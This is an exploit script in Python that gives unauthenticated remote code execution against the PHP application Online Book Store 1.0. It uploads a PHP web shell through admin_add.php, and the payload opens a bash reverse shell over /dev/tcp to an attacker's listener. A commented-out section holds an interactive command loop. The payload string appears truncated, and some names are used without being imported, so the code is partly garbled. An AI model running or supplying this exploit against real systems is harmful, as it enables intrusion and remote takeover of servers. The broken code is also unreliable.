#!/usr/bin/env python3 # Exploit Title: Online Book Store 1.0 - Unauthenticated Remote Code Execution (modified by cesgami) # Google Dork: N/A # Date: 2020-01-07 (2020-22-07) # Exploit Author: Tib3rius # Vendor Homepage: https://projectworlds.in/free-projects/php-projects/online-book-store-project-in-php/ # Software Link: https://github.com/projectworlds32/online-book-store-project-in-php/archive/master.zip # Version: 1.0 # Tested on: Ubuntu 16.04, Kali Linux 2020.2 # CVE: N/A # Mod: Not so shitty reverse shell capability (want it to play nice with pwncat) import argparse import random import requests import socket import string parser = argparse.ArgumentParser() parser.add_argument('url', action='store', help='The URL of the target.') parser.add_argument('ip', action='store', help='LHOST') parser.add_argument('port', action='store', help='LPORT') args = parser.parse_args() url = args.url.rstrip('/') random_file = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(10)) #payload = '' payload = ' /dev/tcp/' + args.ip + '/' + args.port +' 0>&1\'");?>' file = {'image': (random_file + '.php', payload, 'text/php')} print('> Attempting to upload PHP web shell...') r = requests.post(url + '/admin_add.php', files=file, data={'add':'1'}, verify=False) print('> Web shell uploaded to ' + url + '/bootstrap/img/' + random_file + '.php') #print('> Verifying shell upload...') #r = requests.get(url + '/bootstrap/img/' + random_file + '.php', params={'cmd':'echo ' + random_file}, verify=False) input('> You need to prepare netcat or pwncat (Press any key)') try: r = requests.get(url + '/bootstrap/img/' + random_file + '.php', verify=False) except HTTPError: print('> Web shell failed to upload! The web server may not have write permissions.') ''' if random_file in r.text: r = requests.get(url + '/bootstrap/img/' + random_file + '.php', verify=False) print('> Web shell uploaded to ' + url + '/bootstrap/img/' + random_file + '.php') print('> Example command usage: ' + url + '/bootstrap/img/' + random_file + '.php?cmd=whoami') launch_shell = str(input('> Do you wish to launch a shell here? (y/n): ')) if launch_shell.lower() == 'y': while True: cmd = str(input('RCE $ ')) if cmd == 'exit': sys.exit(0) r = requests.get(url + '/bootstrap/img/' + random_file + '.php', params={'cmd':cmd}, verify=False) print(r.text) else: if r.status_code == 200: print('> Web shell uploaded to ' + url + '/bootstrap/img/' + random_file + '.php, however a simple command check failed to execute. Perhaps shell_exec is disabled? Try changing the payload.') else: print('> Web shell failed to upload! The web server may not have write permissions.') '''